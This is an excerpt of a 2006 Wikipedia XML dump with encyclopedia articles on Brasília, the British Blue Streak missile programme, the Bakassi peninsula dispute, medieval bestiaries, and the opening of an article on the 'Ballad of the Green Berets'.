      <timestamp>2006-02-24T10:03:03Z</timestamp>
      <contributor>
        <username>Cacella</username>
        <id>850292</id>
      </contributor>
      <text xml:space="preserve">[[Image:Brasilia_brasil.jpg|thumb|300px|Brasília from space, November 1990]]
[[Image:Brazil.Brasilia.01.jpg|thumb|right|300px|Niemeyer's Cathedral]]

'''Brasília''' is the [[capital]] city of [[Brazil]]. It is famous for its urban planning, daring architecture and rapid population growth.  It is located in the [[Brazilian Federal District]].  In [[English language|English]], the [[diacritic|diacritic mark]] on the [[acute accent|í]] is often omitted and the name written '''Brasilia'''.

==Location==
Brasília is located in a Federal District, created from the state of [[Goiás]] in the Mid-West region of the country. The District is bordered by the Preto River in the east and by the Descoberto River to the west. Brasília is situated on a 1000 m high plateau called the Planalto Central. The city is located at 15&amp;deg;45' South, 47&amp;deg;57' West (-15.75, -47.95).  Brasilia is 207 km from [[Goiânia]]; 1,531 km. from [[Salvador]]; 716 km. from [[Belo Horizonte]]; and 1,015 km. from [[São Paulo]].

==Population and communications==

Since Brasília is less than 50 years old (2005), only about half of the city's population consists of people born there. Most other inhabitants have moved in from the surrounding states of [[Goiás]], [[Minas Gerais]], as well as from the North Eastern states and [[Rio de Janeiro]].

The city was originally planned for 500,000 people, but the total population of Brasilia has already reached 2.2 million (2004 est.), when the surrounding towns, known as satellite cities, are considered.  Central Brasília, known as the Plano Piloto, has a population of around 200,000 and still has some areas in the North Wing for expansion. Most people, however, live in these [[satellite city|satellite cities]] created to house the exceeding population.  The most important of these towns are: [[Ceilândia]] 350,000; [[Gama (Brazil)|Taguatinga]] 243,000; [[Sobradinho]] 130,000; [[Planaltina]] 150,000; and [[Gama]] 131,000. Another large part of the population lives in the so-called dormitory cities in the surrounding State of [[Goiás]]--[[Luziânia]], [[Águas Lindas de Goiás]], [[Planaltina de Goiás]], [[Cidade Ocidental]] and [[Valparaíso, Goiás |Valparaíso]] are some of the largest of these. 

Brasília is just one of the 29 administrative regions within a federal district that is 5,822 square km in area [http://www.geocities.com/TheTropics/3416/pop_df_i.htm]. Officially, only 'Asa Sul' (South Wing), 'Asa Norte' (North Wing), and the central area of 'Plano Piloto' (Pilot Plan) are parts of Brasília. Unofficially, however, Brasília can mean both the 'Plano Piloto' area and all of its administrative regions and satellite cities; hence, the term is often used to refer to the federal district as a whole.
  
Whilst most of the transportation within the federal district occurs via motorways and buses, a basic underground railway system, the [[Brasília Metro]],  also provides transportation between Brasilia and the satellite cities of Guara, Ceilandia, Taguatinga and Samambaia, through Asa Sul. It also links Park Shopping, one of the city's largest shopping centres, with a few other terminals in the south and central areas of the city; nevertheless, it does not extend into the city's northern half. Aside from the underground railway and the more comprehensive bus-based public transportation system, there is also a railway connection with [[São Paulo]], but no passenger trains operate any longer. 

Brasília is served by roads that link the city to all other regions of the country. It is also a national hub for air transport. It is served by [[Presidente Juscelino Kubitschek International Airport]], which currently (2005) has the third largest air traffic in the country. Most international flights, however, require connections through São Paulo or Rio de Janeiro.

==Climate==
Brasília has dry winters and wet summers. During the dry season, the [[relative humidity]] of the air reaches critical levels during the hottest times of the day.  

Maximum temperatures average 28 °C.  During the dry season the temperature decreases and can reach daily lows of 13 °C in July. Maximum averages of 25 °C are still the norm.

The average temperature is 20.5 °C. The hottest month is September, with an average high of 28 °C and an average low of 16 °C. The coolest month is July, with an average high of 25 °C and an average low of 13 °C.  The monthly difference between the average high is around 3 °C and the average low 5 °C.

The absolute minimum registered was 1.6°C and the maximum absolute 34.1°C.

==Education==
In education, Brasília has the best indicators in the country.  The literacy rate is 93.7%, according to the Human Development Index. The city has several [[university|universities]]. The most important public university is the [[University of Brasília]] (UnB).  [[Centro Universitário de Brasília]] (UniCEUB) and [[Universidade Católica]] (UCB) are the largest private universities.
As in the other Brazilian states, basic education (8 grades) is public and run by the government. However, many of the best schools are privately owned and run.

==Government==

The federal district has an autonomous government and legislative powers, but the judiciary is upheld by the Union. The District Governor is elected directly for a 4-year term. Local laws are issued by a legislative assembly also elected by the local population. 
The district also has the status of a federal state in many aspects. It has representatives both in the Lower House of Congress (Câmara Federal) as in the national Senate.
Moreover, Brasília is home to the country's federal government. The national executive, legislative and judicial powers are all located there.

==A planned city==
===History===
President [[Juscelino Kubitschek]] ordered the construction of Brasília. It is a [[planned city]]. The main [[urban planner]] was [[Lucio Costa|Lúcio Costa]]. [[Oscar Niemeyer]] was the chief [[architect]] to most of the public buildings and [[Roberto Burle Marx]] was the [[landscape designer]]. The city plan was based on the ideas of [[Le Corbusier]].  Brasilia was built in 41 months, from [[1956]] to [[April 21]], [[1960]] when it was officially inaugurated.

From 1763 to 1960 [[Rio de Janeiro]] was the capital of Brazil, and resources tended to be centred on the south east region of Brazil. Brasilia’s geographically central location in the middle of the country made for a more neutral federal capital. However, the placement of Brazil's capital in the interior actually dates back to the first republican [[constitution]] of 1891, which defined where the [[federal district]] should be placed, but the placement was not planned until 1922.
More importantly, Brasilia’s location would promote the development of Brazil's central region and better integrate the entire territory of Brazil. Some say the real reason was to move the government to a place far from the masses. 

According to legend, in 1883 the Italian priest [[Giovanni_Melchior_Bosco|Don Bosco]] had a prophetic dream in which he described a futuristic city that roughly fitted Brasília's location.  Today, in Brasília, there are many references to this educator who founded the [[Salesian]] order. One of the main cathedrals carries his name.

===Design===
Lúcio Costa’s plan for the city was detailed and thorough. It stipulates which zones are to be residential and which are to be commercial. It limits where industries can settle, where certain buildings can be built and how tall those buildings can be etc.  

Costa had insisted that Brasilia be shaped like a [[butterfly]]. However, most people think that the city is shaped like an [[aeroplane]], instead.

The fuselage of the aeroplane contains the ministries, government buildings, the senate and chamber of deputies and a futuristic cathedral, designed by Oscar Niemeyer.  There is also a tall [[Brasilia TV Tower|television tower]], with spectacular views of the city and the lake.

The wings of the aeroplane are named the North Wing and South Wing: each is roughly 7 km. in length. The avenue between the lake and the wings, called '''L2 Sul''' or '''L2 Norte''', depending on which wing it’s on, has churches, schools and hospitals. 

[[Image:Brasilia National Congress.JPG|thumb|right|300 px|National Congress]]

A wide, high-speed avenue, called the '''Eixo''', connects the two wings by passing under a central bus station, where the banking sector (Sector Bancário) and hotel sector (Sector Hoteleiro) are located.  The 100s and 300s addresses are on one side of the Eixo, and 200s and 400s are on the other. There are residential areas on these streets made up of blocks of flats, named Super Quadra Sul or Super Quadra Norte. The blocks are filled with three or six-storey buildings. Each has eleven buildings, identified by letter, with schools and churches in areas placed in between them.  Commercial streets typically separate Superquadra blocks from each other. Green space and trees make these areas very pleasant to inhabit, and residents of the city affirm that it is one of the best cities in which to raise children.

There is also a zoo close to the airport with animals native to the Cerrado area. Embassies, recreational clubs and luxury homes surround the lake, and an enormous park, called the 'Parque da Cidade' (City Park), gives much-needed space for cycling, jogging and contact with nature.

One major criticism of Brasília is that it was not designed on a pedestrian scale. Pedestrians were not taken much into consideration during the advent of the motor age, when the city was developed. In the original plan there were no traffic lights - all cars travelled over overpasses and through tunnels to avoid intersecting traffic.  Today, with half a million people living in the Plano Piloto (the Pilot Plan), the plan soon became out-dated.  Pedestrians had to walk long distances between points of interest and the high speed avenues were dangerous to navigate.  An [[metro|underground railway]] has been recently built to alleviate these problems. A line was completed for the South Wing, which continues to the major satellite city of Taguatinga.  Whilst public transportation is plentiful, the car remains popular as a means of transportation in Brasília.  A popular saying is that the inhabitants are born with wheels instead of feet. 

Another criticism of Brasilia is the displacement of poor residents to far away satellite towns like Taguatinga, Gama, Ceilândia and Sobradinho. Buses and a surface rapid transit system connect these cities to the centre. Inhabitants of these satellite towns live in conditions inferior to those of the Pilot Plan.   When one talks of Brasília, these satellite cities are rarely taken into consideration, even though the population of these cities far surpasses that of the Pilot Plan. Some, like Taguatinga, are now larger than Brasília itself.  

According to the original plan -- which Brasilia must follow -- the city is constantly under construction.

[[UNESCO]] has declared Brasília a [[World Heritage Site]].

==Mystical Brasília==
One aspect that is usually unknown by visitors to Brasília is that it has attracted many members of offbeat religious sects and esoteric cults that have come here in what they see as the anticipation of the dawn of a new age — sects that embrace reincarnation and universal oneness, academics and sci-fi enthusiasts who associate Brasilia with ancient Egypt or the lost city of Atlantis.  Land was given to almost any religous group that was legally constituted so many non-mainstream groups were able to built their temples or churches at low cost and exempt of taxes.  

Their dreams are fed by an alien-looking cityscape, a showcase for Modernist architect Oscar Niemeyer. Among his creations are the twin towers of the Brazilian National Congress, between which the sun rises, Stonehenge-like, on April 21, the date the capital was officially moved from Rio de Janeiro.

There is also the famous prophecy about the future building of Brasília.  In 1883, an Italian priest named Dom Bosco had a strange dream of a land abundant in precious metals and oil that would be discovered between the 15th and 20th parallels. &quot;There a grand civilization will appear, a Promised Land flowing with milk and honey,&quot; the priest recorded in his journal. &quot;These things will happen in the third generation.&quot;

Many believe that Brasilia, situated between the 15th and 16th parallels, is that place. The man who made the city a reality, former Brazilian President Juscelino Kubitschek, thought so as well.

There are many buildings with pyramidal designs and a university, the UPIS, founded by Brazil's most famous UFO investigator, General Moacyr Uchoa who supposedly had close encounters with alien beings near [[Alexânia]], west of Brasília. One of the history teachers at that school was Yara Kern, a U.S.-trained Egyptologist who concluded, after six years of study, that Kubitschek was the reincarnation of the pharaoh Akhnaton and Brasilia was the modern version of Akhnaton's made-to-order capital along the banks of the Nile

The most impressive building in the city from a religious point of view is the utopian Legion of Goodwill Temple, a seven-sided, seven-story pyramid topped by what sources call the world's largest crystal. 

Other tourist points are the University of Peace and isolated religious communities such as the [[Cidade Eclética |Eclectic City]], founded by the pilot for one of Brazil's presidents, and [[Vale do Amanhecer |Valley of the Dawn]], where women wear medieval-style purple and black dresses, silver tiaras, glittering veils, and cone hats. There is an enormous temple with a statue of the great spirit White Arrow and an artificial lake hemmed by pyramids and wooden cutouts of Afro-Brazilian goddesses.

Farther out there is the famous [[João de Deus (medium)|João de Deus]], a spiritual surgeon who operates on patients in [[Abadiânia]] in Goiás, and the Chapada dos Veadeiros national park north of the city where the small community of [[Alto Paraíso de Goiás]] has attracted New Agers, Rajneesh, and assorted mystical groups.

==External links==
*[http://www.brasilia.df.gov.br/ Official Brasília site] (in Portuguese)
*[http://www.guiabsb.com.br/brasilia/satelite.asp Informative Brasília page, with aeroplane view] (in Portuguese)
*[http://www.uoregon.edu/~sergiok/brasil/brasilia.html Informative Brasília page]
*[http://maps.google.com/maps?ll=-15.782673,-47.882881&amp;spn=0.106399,0.167645&amp;t=k&amp;hl=en Brasilia on Google Maps (Satellite Image)]
*[http://maps.google.com/maps?ll=-15.800162,-47.863033&amp;spn=0.003325,0.005239&amp;t=k&amp;hl=en National Congress Palace and Three Powers Square on Google Maps (Satellite Image Detail)]
*[http://www.geocities.com/thetropics/3416/index.htm Information about Brasília]
*[http://www.aboutbrasilia.com/ Facts about Brasília]
*[http://www.geocities.com/thetropics/3416/minis_i.htm Photos of Brasília]
*[http://www.citymayors.com/development/brasilia.html Feature article on CityMayors.com]
* {{placeopedia|id=9086|title=Brasília}}

{{Capitals of Brazil}}

[[Category:Brasília| ]]
[[Category:Cities in Brazil]]
[[Category:Capitals in South America]]
[[Category:Planned cities]]
[[Category:World Heritage Sites in Brazil]]

[[ca:Brasília]]
[[da:Brasília]]
[[de:Brasília]]
[[es:Brasilia]]
[[eo:Braziljo]]
[[eu:Brasilia]]
[[fr:Brasilia]]
[[ga:Brasília]]
[[gl:Brasilia]]
[[ko:브라질리아]]
[[io:Brasilia]]
[[id:Brasília]]
[[it:Brasília]]
[[he:ברזיליה]]
[[la:Urbs Brasilia]]
[[lt:Brazilija (miestas)]]
[[nl:Brasilia]]
[[ja:ブラジリア]]
[[no:Brasília]]
[[nn:Brasília]]
[[pl:Brasília]]
[[pt:Brasília]]
[[ro:Brasilia]]
[[ru:Бразилиа]]
[[sk:Brazília (mesto)]]
[[sl:Brasilia]]
[[fi:Brasília]]
[[sv:Brasília]]
[[zh:巴西利亚]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Streak missile</title>
    <id>4754</id>
    <revision>
      <id>38509186</id>
      <timestamp>2006-02-06T20:51:41Z</timestamp>
      <contributor>
        <username>GCarty</username>
        <id>10379</id>
      </contributor>
      <text xml:space="preserve">The '''Blue Streak missile''' was a [[United Kingdom|British]] [[ballistic missile]] development programme of the mid to late-[[1950s]], the initial design being based on licensed [[United States|U.S.]] technology. ''[[Black Knight (rocket)|Black Knight]]'' was a vehicle intended to test the design for a re-entry head by firing it to altitudes of several hundreds of kilometers.

==Background==
Post-[[World War II|war]] Britain's [[nuclear weapon]]s armament was initially based on free-fall bombs delivered by the [[V bomber]] force. It soon became clear that if Britain wanted to have a credible threat a ballistic missile would be essential. There was a political need for an independent deterrent, so Britain could remain one of the major post-war powers. The use of any American missile would have appeared to hand control to the United States.

In April [[1954]] the Americans proposed a joint development programme for ballistic missiles. The United States would develop an [[ICBM]] of 5000 nautical mile (9,300 km) range, while the United Kingdom with United States support would develop a [[MRBM]] of 2000 nautical mile (3,700 km) range. The proposal was accepted as part of the [[Wilson-Sandys Agreement]] of August 1954 which provided for collaboration, exchange of information and mutual planning of development programs. The decision to develop was influenced by what could be learnt about missile design and development in the US. Initial requirements for the booster were made by the [[Royal Aircraft Establishment]] at [[Farnborough, Hampshire|Farnborough]] with input on the rocket engine design from the [[Rocket Propulsion Establishment]] at [[Westcott]].

[[De Havilland]] won the contract to build the missile, and it was to be powered by an uprated liquid-fuelled [[Rocketdyne]] S3D engine, developed by [[Rolls-Royce plc|Rolls-Royce]], called [[RZ2]]. Subcontractors included the [[Sperry Gyroscope Company]] who produced the guidance system whilst the warhead itself was designed by the [[Atomic Weapons Research Establishment]] at [[Aldermaston]]. 

However, doubts arose as the cost escalated from the first tentative figure of £50m submitted to the [[HM Treasury|Treasury]] in early [[1955]], to £300m in late [[1959]]. The programme was crawling along when compared with the speed of development in the U.S. and the [[Soviet Union]].

==Cancellation==
Eventually the project was cancelled due to its apparent lack of credibility as a deterrent. Some considered the cancellation of Blue Streak to be not only a blow to British military-industrial efforts, but also to [[Commonwealth of Nations|Commonwealth]] ally [[Australia]], which had its own vested interest in the project.

The missiles used very cold liquid propellant that could only be kept in the missile for a short length of time before icing became a problem. To fuel the rocket took 15 minutes, meaning it was incapable of being used as a rapid response to an attack. It had been intended to site the missiles in underground [[Missile silo|silos]], capable of withstanding a one megaton blast at a distance of half a mile (800 m), silos originally a British innovation, later exported to the USA. These silos would have protected the missile from a first-strike attack while the missile was being fuelled. However, finding sites for these silos proved extremely difficult and [[RAF Spadeadam]] in [[Cumbria]] was the only site where construction was undertaken. The best sites for silo construction were the more stable rock strata in parts of southern England, but the construction of many large underground silos in the heart of the countryside would have carried an enormous political cost. 

As no site in Britain provided enough space for actual test firing, a test site was established at [[Woomera, South Australia]]. Whitehall opposition to the project grew, and it was eventually cancelled on the ostensible grounds that it would be too vulnerable to a first-strike attack. Around £84m had been spent.

The British government transferred its hopes to the Anglo-American [[Skybolt missile]], before the project's cancellation by the USA as its ICBM program reached maturity. The British instead purchased the [[Polaris missile|Polaris]] system from the Americans, to be carried in British-built [[submarine]]s.

==Civilian Programme==
After the cancellation as a military project, there was reluctance to cancel the project outright because of the huge investment that had taken place. Blue Streak would have become the first stage of a projected all British satellite launcher known as ''Black Prince'', the second stage was derived from the ''[[Black Knight (Rocket)|Black Knight]]'' test vehicle, and the orbital injection stage was a small hydrogen peroxide/kerosene motor. This launcher never progressed beyond the design stage.

However, this too proved to be too expensive, and so the European Development Launcher Organisation - [[ELDO]] - was set up. This used Blue Streak as the first stage, but used [[France|French]] and [[Germany|German]] second and third stages. The Blue Streak first stage was successfully tested three times at the [[Woomera, South Australia|Woomera]] test range in Australia as part of the ELDO programme.

Although a total of 8 launches were made of the multi-stage vehicle, the French and German components proved unreliable leading to the project's final cancellation, and the end of Blue Streak. The final launch was made at the French site of [[Korou]] in [[French Guiana]].

==Blue Streak Today==

Following the cancellation of the Blue Streak project one of the remaining rockets was preserved and this now forms one of the major centrepieces on display at the [[National Space Centre]] in [[Leicester]], [[England]].

==See also==
*[[List of missiles]]
*[[Black Arrow]] British satellite launch vehicle
*[[UK topics]]

==External links==
*http://www.spaceuk.org/bstreak/bstreak.htm
*http://www.skomer.u-net.com/projects/bluestreak.htm
*http://www.geocities.com/CapeCanaveral/Launchpad/6133/bluestreak.html
*[http://www.makingthemodernworld.org.uk/stories/defiant_modernism/05.ST.07/?scene=5 Blue Streak including newsreel footage]
*[http://www.raf.mod.uk/spadeadam/bluestreak.html RAF Spadeadam]

{{airlistbox}}

[[Category:Medium-range ballistic missiles]]
[[Category:Space launch vehicles]]
[[Category:Cold War missiles of the United Kingdom]]

[[id:Peluru kendali Blue Streak]]
[[ms:Peluru berpandu Blue Streak]]</text>
    </revision>
  </page>
  <page>
    <title>Bakassi</title>
    <id>4756</id>
    <revision>
      <id>41346224</id>
      <timestamp>2006-02-26T19:18:51Z</timestamp>
      <contributor>
        <username>Cm205</username>
        <id>417592</id>
      </contributor>
      <text xml:space="preserve">'''Bakassi''' is the [[peninsula]]r extension of the [[Africa]]n nation of Cameroon into the [[Atlantic Ocean]]. A part of it is currently [[administration|administered]] by [[Nigeria]] but is due to be transferred back to [[Cameroon]]ian [[sovereignty]] following a judgement by the [[International Court of Justice]].

==Geography and economy==

The peninsula lies roughly between latitudes 4°25' and 5°10'N and longitudes 8°20' and 9°08'E . It consists of a number of low-lying, largely mangrove covered islands covering an area of around 665km&amp;sup2;. The population of Bakassi is the subject of some dispute, but is generally put at between 150,000-300,000 people. 

Bakassi is situated at the extreme eastern end of the [[Gulf of Guinea]], where the warm east-flowing [[Guinea Current]] ([[Efik]]: ''Aya Efiat'') meets the cold north-flowing [[Benguela Current]] (Efik: ''Aya Ubenekang''). These two great ocean currents interact creating huge foamy [[breaker]]s which continually advance towards the shore, and building submarine shoals rich in [[fish]], [[shrimp]], and an wide variety of other marine life.  This makes the Bakassi area a very fertile fishing ground, comparable only to [[Newfoundland]] in North America and [[Scandinavia]] in Western Europe. Most of the population make their living through fishing.

The peninsula is commonly described as &quot;oil-rich&quot;, though in fact no commercially viable deposits of oil have yet been discovered. However, the area has aroused considerable interest from oil companies in the light of the discovery of rich reserves of high grade [[crude oil]] elsewhere in Nigeria. At least eight multinational oil companies have participated in the exploration of the peninsula and its offshore waters. 

==History==
Bakassi has it's origins from the Cameroon Oroko people of Ndian Division.  The Cameroon 
Oroko people who are the Bakassi aborigenes are the original settlers of the Peninsula.
In the mid-1880's when the Germans sailed along the River Akwayife, they met the Cameroon 
Oroko, whose relatives are in mainland Cameroon in the Ndian Division.  When the Germans 
colonized Cameroon, Bakassi became a part of Cameroon, as well as Calabar in present day
Nigeria which formed a part of contiguous Cameroon.  Since then the Peninsula has been a
part of Cameroon.  During the Nigerian civil war of [[Biafra]] secession, many Nigerians were
allowed to settle in Bakassi by the Cameroon authorities.  In 1994, then ruler of Nigeria
Sani Abacha invaded Bakassi hoisting a Nigerian flag.  This act of aggression caused 
Cameroon to take up the issue at the International Court of Justice at The Hague.

==Political status==

Part of Bakassi is currently administered by [[Nigeria]] due to the 1994 aggression.  The territory is aboriginally Cameroonian. Bakassi does not have any monarch.  The owners of the land are Cameroonians who were hospitable to Nigerians.  The 1994 act of aggression caused a temporary reconfiguration of Bakassi, whereby Nigeria has formed a local government on the occupied territories.

===Territorial dispute===

Nigeria and Cameroon have disputed the possession of Bakassi for some years, leading to considerable tension between the two countries. In [[1981]] the two countries went to the brink of war over Bakassi and another area around [[Lake Chad]], at the other end of the two countries' common border. More armed clashes broke out in the early [[1990s]]. In response, Cameroon took the matter to the [[International Court of Justice]] on [[29 March]] [[1994]]. 

The case was extremely complex, requiring the court to review diplomatic exchanges dating back over 100 years. Nigeria relied largely on Anglo-German correspondence dating from [[1885]] as well as treaties between the colonial powers and the indigenous rulers in the area, particularly the 1884 Treaty of Protection. Cameroon pointed to the Anglo-German treaty of [[1913]], which defined spheres of control in the region, as well as two agreements signed in the [[1970s]] between Cameroon and Nigeria. These were the Yaoundé II Declaration of [[4 April]] [[1971]] and the Maroua Declaration of [[1 June]] [[1975]], which were devised to outline maritime boundaries between the two countries following their independence. The line was drawn through the Cross River estuary to the west of the peninsula, thereby implying Cameroonian ownership over Bakassi. However, Nigeria never ratified the agreement, while Cameroon regarded it as being in force.

===The ICJ verdict===

[[10 October]] [[2002]], finding (based principally on the Anglo-German agreements) that sovereignty over Bakassi did indeed rest with Cameroon. It instructed Nigeria to transfer possession of the peninsula, but did not require the inhabitants to move or to change their nationality. Cameroon was thus given a substantial Nigerian population and was required to protect their rights, infrastructure and welfare.

The verdict caused consternation in Nigeria. It aroused vitriolic comments from Nigerian officials and the Nigerian media alike. Chief Richard Akinjide, a former Nigerian Attorney-General and Minister of Justice who had been a leading member of Nigeria's legal team, described the decision as &quot;50% international law and 50% international politics&quot;, &quot;blatantly biased and unfair&quot;, &quot;a total disaster&quot;, and a &quot;complete fraud&quot;. The Nigerian newspaper ''The Guardian'' went further, declaring that the judgment was &quot;a rape and unforeseen potential international conspiracy against Nigerian territorial integrity and sovereignty&quot; and &quot;part of a Western ploy to foment and perpetuate trouble in Africa&quot;. The outcome of the controversy was a ''de facto'' Nigerian refusal to withdraw militarily from Bakassi and transfer sovereignty. The Nigerian government did not, however, openly reject the judgment but instead called for an agreement that would provide &quot;peace with honour, with the interest and welfare of our people.&quot;

The ICJ judgment was backed up by the [[United Nations]], whose charter potentially allowed sanctions or even the use of force to enforce the court's ruling. Secretary General [[Kofi Annan]] stepped in as a mediator and chaired a tripartite summit with the two countries' presidents on [[15 November]] [[2002]], which established a commission to facilitate the peaceful implementation of the ICJ's judgement. A further summit was held on [[31 January]] [[2004]]. This has made significant progress, but the process has been complicated by the opposition of Bakassi's inhabitants to being transferred to Cameroon. Bakassian leaders have threatened to seek independence if Nigeria renounces sovereignty, though this seems unlikely to materialise, given the country's hard line against previous seccessionist movements (see [[Biafra]]).

===Nigeria's official response to ICJ ruling===

Statement issued by the Government of the Federal Republic of Nigeria in respect of the judgement by the International Court of Justice in The Hague, in the case concerning the land and maritime boundary between Cameroon and Nigeria: 

(Cameroon v Nigeria: Equatorial Guinea Intervening)
 
&quot;The Federal Republic of Nigeria makes the following statement in respect of the judgement by the International Court of Justice in The Hague, in the case concerning the land and maritime boundary 
between Cameroon and Nigeria. 

The Government of Nigeria has substantially examined the implications of the judgement delivered by the International Court of Justice in The Hague on October 10, 2002. 

Conclusion:

Having studied the judgement as entered by the Court, it is apparent that a lot of fundamental facts were not taken into consideration in arriving at their declaration. Most disturbing of these being the difficulties arising from the Orders contained in the judgement, relating to Nigerian communities in which their ancestral homes were adjudged to be in Cameroonian Territory but which are expected to maintain cultural, trade and religious affiliations with their kith and kin in Nigeria. Nigeria takes cognizance of these serious implications and therefore appeals to all her citizens at home and abroad to remain calm, positive and constructive until we can find a peaceful solution to the boundary issue between Nigeria and Cameroon.

We appreciate and thank the Secretary-General of the United Nations for brokering a meeting at the highest political level between Nigeria and Cameroon before the judgement was delivered and for 
offering his good offices to broker a similar meeting now that the judgement has been delivered with a view to effecting reconciliation, normalisation of relations and good neighbourliness.
 
Nigeria thanks all leaders of the international community who have expressed concern over the issue and re-assures them that she will spare no efforts to maintain peace between Nigeria and Cameroon and indeed in the entire region. However, Government wishes to assure Nigerians of its constitutional commitment to protect its citizenry. One no account will Nigeria abandon her people and their interests. For Nigeria. It is not a matter of oil of natural resources on land 
or in coastal waters; it is a matter of the welfare and well-being of her people on their land. 

We assure the people of Bakassi and all other Nigerian communities similarly affected by the judgement of the International Court of Justice on the support and solidarity of all other Nigerians. Nigeria will do everything possible to maintain peace in Bakassi or any other part of the border with Cameroon and will continue to avail itself of the good office of the Secretary-General of the United Nations and other well-meaning leaders of the International community to achieve peace and to maintain harmony and good neighbourliness.&quot;

==External links==
*[http://www.icj-cij.org/icjwww/ipresscom/ipress2002/ipresscom2002-26_cn_20021010.htm International Court of Justice, press release on decision]
*[http://www.nigeria-law.org/StatementIssuedByFGN-Bakassi.htm  Nigerian Government official statement in response to the above ruling]

[[Category:Peninsulas]]
[[Category:Geography of Nigeria]]
[[Category:Geography of Cameroon]]
[[Category:Disputed territories]]

[[es:Bakassi]]
[[fr:Bakassi]]</text>
    </revision>
  </page>
  <page>
    <title>Bestiary</title>
    <id>4757</id>
    <revision>
      <id>37252182</id>
      <timestamp>2006-01-29T20:22:27Z</timestamp>
      <contributor>
        <username>Neutrality</username>
        <id>68411</id>
      </contributor>
      <text xml:space="preserve">[[Image:RochesterBestiaryFolio007rLeopard.jpg|right|thumb|200px|&quot;The Leopard&quot; from the 13th-century [[bestiary]] entitled &quot;Rochester Bestiary.&quot;]]
:This article is about a literary genre. For a gaming book, see [[bestiary (RPG)]].''

A '''bestiary''', or '''Bestiarum vocabulum''' is a compendium of beasts. Bestiaries were made popular in the [[Middle ages]] in illustrated volumes that described various real or imaginary animals, birds and even rocks. The [[natural history]] and illustration of each beast were usually accompanied by a moral lesson. This reflected the belief that the world itself was literally the [[Word of God]], and that every living thing had its own special meaning. For example, the [[pelican]], which was believed to tear open its breast to bring its young to life with its own blood, was a living representation of [[Jesus]]. The bestiary, then, is also a reference to the [[symbol|symbolic]] language of animals in Western Christian art and literature.

Bestiaries were particularly popular in [[England]] and [[France]] around the [[12th century]] and were mainly compilations of earlier texts. The earliest bestiary in the form in which it was later popularized was an anonymous [[2nd century]] [[Ancient Greek|Greek]] volume called ''[[the Physiologus]],'' which itself summarized ancient knowledge and wisdom about animals in the writings of [[Classical antiquity|classical]] authors such as [[Aristotle]]'s ''[[History of Animals|Historia Animalium]]'' and various works by [[Herodotus]], [[Pliny the Elder]], [[Solinus]], [[Aelian]] and other naturalists.

Following the ''Physiologus'', Saint [[Isidore of Seville]] (Book XII of the ''[[Etymologiae]]'') and [[Saint Ambrose]] expanded the religious message with reference to passages from the [[Bible]] and the [[Septuagint]]. They and other authors freely expanded or modified pre-existing models, constantly refining the moral content without interest or access to much more detail regarding the factual content. Nevertheless, the often fanciful accounts of these beasts were widely read and generally believed to be true. A few observations found in bestiaries, such as the [[migration]] of birds, were discounted by the natural philosophers of later centuries, only to be rediscovered in the modern scientific era.

The most well-known bestiary of that time is the [[Aberdeen Bestiary]]. There are many others and over 50 manuscripts survive today. (See [[List of Medieval Bestiaries]]).

In modern times, artists such as [[Henri de Toulouse-Lautrec]] and [[Saul Steinberg]] have produced their own bestiaries. [[Jorge Luis Borges]] wrote a contemporary bestiary of sorts, the [[Book of Imaginary Beings]], which collects imaginary beasts from bestiaries and fiction. Writers of [[Fantasy]] fiction draw heavily from the fanciful beasts described in [[mythology]], [[fairy tales]], and bestiaries. The &quot;worlds&quot; created in Fantasy fiction can be said to have their own bestiaries. Similarly, authors of fantasy [[role-playing game]]s sometimes compile bestiaries as references, such as the ''[[Monster Manual]]'' for ''[[Dungeons &amp; Dragons]]''.

==See also==
*[[Allegory in the Middle Ages]]
*[[List of Medieval Bestiaries]]

==References==
* &quot;[http://penelope.uchicago.edu/~grout/encyclopaedia_romana/britannia/anglo-saxon/flowers/bestiary.html The Medieval Bestiary]&quot;, by James Grout, part of the ''Encyclopædia Romana''.
* Payne, Ann. (1990) &quot;Mediaval Beasts.''
* Hassig, Debra (1995) ''Medieval Bestiaries: Text, Image, Ideology.''
* Hassig, Debra, ed. (1999) ''The Mark of the Beast: The Medieval Bestiary in Art, Life, and Literature''.
* Benton, Janetta Rebold. (1992) ''The Medieval Menagerie: Animals in the Art of the Middle Ages''.
* George, Wilma and Brunsdon Yapp. (1991) ''The Naming of the Beasts: Natural History in the Medieval Bestiary''.
* Clark, Willene B. and Meradith T. McMunn. (1989) ''The Bestiary and its Legacy.''

== External links ==
{{Commonscat|Bestiaries}}
* ''[http://digital.library.wisc.edu/1711.dl/HistSciTech.Bestiary The Bestiary:The Book of Beasts],'' [[T.H. White]]'s  translation of a medieval bestiary in the [[University of Cambridge|Cambridge University]] library.
* [http://bestiary.ca/ The Medieval Bestiary] online, edited by David Badke.
* ''[http://www.kb.dk/elib/mss/gks3466/index.htm The Bestiaire of Philippe de Thaon]'' at the National Library of Denmark.
* ''[http://www.kb.dk/elib/mss/gks1633/index.htm The Bestiary of Anne Walshe]'' at the National Library of Denmark.
* ''[http://www.abdn.ac.uk/bestiary/bestiary.hti The Aberdeen Bestiary]'' at the University of Aberdeen.

[[Category:Medieval literature]]
[[Category:Zoology]]
[[Category:Illuminated manuscripts]]

[[de:Bestiarium]]
[[es:Bestiario]]
[[fr:Bestiaire]]
[[he:ספר חיות]]
[[nl:Bestiarium]]
[[pl:Bestiariusz (literatura)]]
[[pt:Bestiário]]
[[ru:Бестиарий]]</text>
    </revision>
  </page>
  <page>
    <title>Ballad of the Green Berets</title>
    <id>4760</id>
    <revision>
      <id>39798275</id>
      <timestamp>2006-02-15T23:04:42Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Compact allmusic URL</comment>
      <text xml:space="preserve">The '''&quot;Ballad of the Green Berets&quot;''' is a patriotic song in the [[ballad]] style about the [[Green Berets]], an elite [[Special Operations Forces|special operations force]] in the [[United States Army|U.S. Army]]. The song was written by [[Robin Moore]] and [[Staff Sergeant|Staff Sgt.]] [[Barry Sadler]], while the latter was recuperating from a leg wound suffered as a medic in the [[Vietnam War]].  Moore wrote a non-fiction book, ''The Green Berets'', about the force.

The recording of the song was the number one hit in the [[United States]] for five weeks in [[1966]] and was the number 21 song of [[1960]]-[[1969]]. It has sold over nine million singles and albums. It was the top single of the year in which the [[British Invasion]], led by [[the Beatles]] and [[the Rolling Stones]], dominated the charts.  The song is also heard in the [[John Wayne]] film ''[[The Green Berets (movie)|The Green Berets]]'', which was based on Moore's book.  The score of the movie was never released as an album until [[Film score monthly|Film Score Monthly]] released it in 2005.

